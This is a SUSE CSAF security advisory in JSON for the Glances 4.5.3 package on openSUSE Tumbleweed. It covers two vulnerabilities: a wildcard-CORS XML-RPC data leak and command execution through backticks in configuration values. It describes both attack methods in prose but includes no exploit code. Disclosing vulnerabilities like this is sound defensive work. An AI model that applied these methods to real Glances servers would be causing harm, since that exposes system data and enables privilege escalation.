	https://bugzilla.suse.com/1261379	external
	https://www.suse.com/security/cve/CVE-2026-33641	external
	https://bugzilla.suse.com/1261380	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "glances-common-4.5.3-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the glances-common-4.5.3-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2026-10519",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10519-1.json"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-33533 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-33533/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-33641 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-33641/"
      }
    ],
    "title": "glances-common-4.5.3-1.1 on GA media",
    "tracking": {
      "current_release_date": "2026-04-09T00:00:00Z",
      "generator": {
        "date": "2026-04-09T00:00:00Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "openSUSE-SU-2026:10519-1",
      "initial_release_date": "2026-04-09T00:00:00Z",
      "revision_history": [
        {
          "date": "2026-04-09T00:00:00Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.3-1.1.aarch64",
                "product": {
                  "name": "glances-common-4.5.3-1.1.aarch64",
                  "product_id": "glances-common-4.5.3-1.1.aarch64"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.3-1.1.aarch64",
                "product": {
                  "name": "python311-Glances-4.5.3-1.1.aarch64",
                  "product_id": "python311-Glances-4.5.3-1.1.aarch64"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.3-1.1.aarch64",
                "product": {
                  "name": "python313-Glances-4.5.3-1.1.aarch64",
                  "product_id": "python313-Glances-4.5.3-1.1.aarch64"
                }
              },
              {
                "category": "product_version",
                "name": "python314-Glances-4.5.3-1.1.aarch64",
                "product": {
                  "name": "python314-Glances-4.5.3-1.1.aarch64",
                  "product_id": "python314-Glances-4.5.3-1.1.aarch64"
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.3-1.1.ppc64le",
                "product": {
                  "name": "glances-common-4.5.3-1.1.ppc64le",
                  "product_id": "glances-common-4.5.3-1.1.ppc64le"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.3-1.1.ppc64le",
                "product": {
                  "name": "python311-Glances-4.5.3-1.1.ppc64le",
                  "product_id": "python311-Glances-4.5.3-1.1.ppc64le"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.3-1.1.ppc64le",
                "product": {
                  "name": "python313-Glances-4.5.3-1.1.ppc64le",
                  "product_id": "python313-Glances-4.5.3-1.1.ppc64le"
                }
              },
              {
                "category": "product_version",
                "name": "python314-Glances-4.5.3-1.1.ppc64le",
                "product": {
                  "name": "python314-Glances-4.5.3-1.1.ppc64le",
                  "product_id": "python314-Glances-4.5.3-1.1.ppc64le"
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.3-1.1.s390x",
                "product": {
                  "name": "glances-common-4.5.3-1.1.s390x",
                  "product_id": "glances-common-4.5.3-1.1.s390x"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.3-1.1.s390x",
                "product": {
                  "name": "python311-Glances-4.5.3-1.1.s390x",
                  "product_id": "python311-Glances-4.5.3-1.1.s390x"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.3-1.1.s390x",
                "product": {
                  "name": "python313-Glances-4.5.3-1.1.s390x",
                  "product_id": "python313-Glances-4.5.3-1.1.s390x"
                }
              },
              {
                "category": "product_version",
                "name": "python314-Glances-4.5.3-1.1.s390x",
                "product": {
                  "name": "python314-Glances-4.5.3-1.1.s390x",
                  "product_id": "python314-Glances-4.5.3-1.1.s390x"
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.3-1.1.x86_64",
                "product": {
                  "name": "glances-common-4.5.3-1.1.x86_64",
                  "product_id": "glances-common-4.5.3-1.1.x86_64"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.3-1.1.x86_64",
                "product": {
                  "name": "python311-Glances-4.5.3-1.1.x86_64",
                  "product_id": "python311-Glances-4.5.3-1.1.x86_64"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.3-1.1.x86_64",
                "product": {
                  "name": "python313-Glances-4.5.3-1.1.x86_64",
                  "product_id": "python313-Glances-4.5.3-1.1.x86_64"
                }
              },
              {
                "category": "product_version",
                "name": "python314-Glances-4.5.3-1.1.x86_64",
                "product": {
                  "name": "python314-Glances-4.5.3-1.1.x86_64",
                  "product_id": "python314-Glances-4.5.3-1.1.x86_64"
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "openSUSE Tumbleweed",
                "product": {
                  "name": "openSUSE Tumbleweed",
                  "product_id": "openSUSE Tumbleweed",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:opensuse:tumbleweed"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.3-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.3-1.1.aarch64"
        },
        "product_reference": "glances-common-4.5.3-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.3-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.3-1.1.ppc64le"
        },
        "product_reference": "glances-common-4.5.3-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.3-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.3-1.1.s390x"
        },
        "product_reference": "glances-common-4.5.3-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.3-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.3-1.1.x86_64"
        },
        "product_reference": "glances-common-4.5.3-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.3-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.aarch64"
        },
        "product_reference": "python311-Glances-4.5.3-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.3-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.ppc64le"
        },
        "product_reference": "python311-Glances-4.5.3-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.3-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.s390x"
        },
        "product_reference": "python311-Glances-4.5.3-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.3-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.x86_64"
        },
        "product_reference": "python311-Glances-4.5.3-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.3-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.aarch64"
        },
        "product_reference": "python313-Glances-4.5.3-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.3-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.ppc64le"
        },
        "product_reference": "python313-Glances-4.5.3-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.3-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.s390x"
        },
        "product_reference": "python313-Glances-4.5.3-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.3-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.x86_64"
        },
        "product_reference": "python313-Glances-4.5.3-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python314-Glances-4.5.3-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.aarch64"
        },
        "product_reference": "python314-Glances-4.5.3-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python314-Glances-4.5.3-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.ppc64le"
        },
        "product_reference": "python314-Glances-4.5.3-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python314-Glances-4.5.3-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.s390x"
        },
        "product_reference": "python314-Glances-4.5.3-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python314-Glances-4.5.3-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.x86_64"
        },
        "product_reference": "python314-Glances-4.5.3-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-33533",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-33533"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker\u0027s JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.x86_64",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-33533",
          "url": "https://www.suse.com/security/cve/CVE-2026-33533"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1261379 for CVE-2026-33533",
          "url": "https://bugzilla.suse.com/1261379"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-04-09T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-33533"
    },
    {
      "cve": "CVE-2026-33641",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-33641"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation. This issue has been patched in version 4.5.3.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.3-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.x86_64",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.aarch64",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.ppc64le",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.s390x",
          "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-33641",
          "url": "https://www.suse.com/security/cve/CVE-2026-33641"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1261380 for CVE-2026-33641",
          "url": "https://bugzilla.suse.com/1261380"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.3-1.1.x86_64",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.aarch64",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.s390x",
            "openSUSE Tumbleweed:python314-Glances-4.5.3-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-04-09T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-33641"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33533 (GCVE-0-2026-33533)

GHSA-7P93-6934-F4Q7

Summary

Details

PoC

Impact

FKIE_CVE-2026-33533

OPENSUSE-SU-2026:10519-1

Tags

Sightings

Nomenclature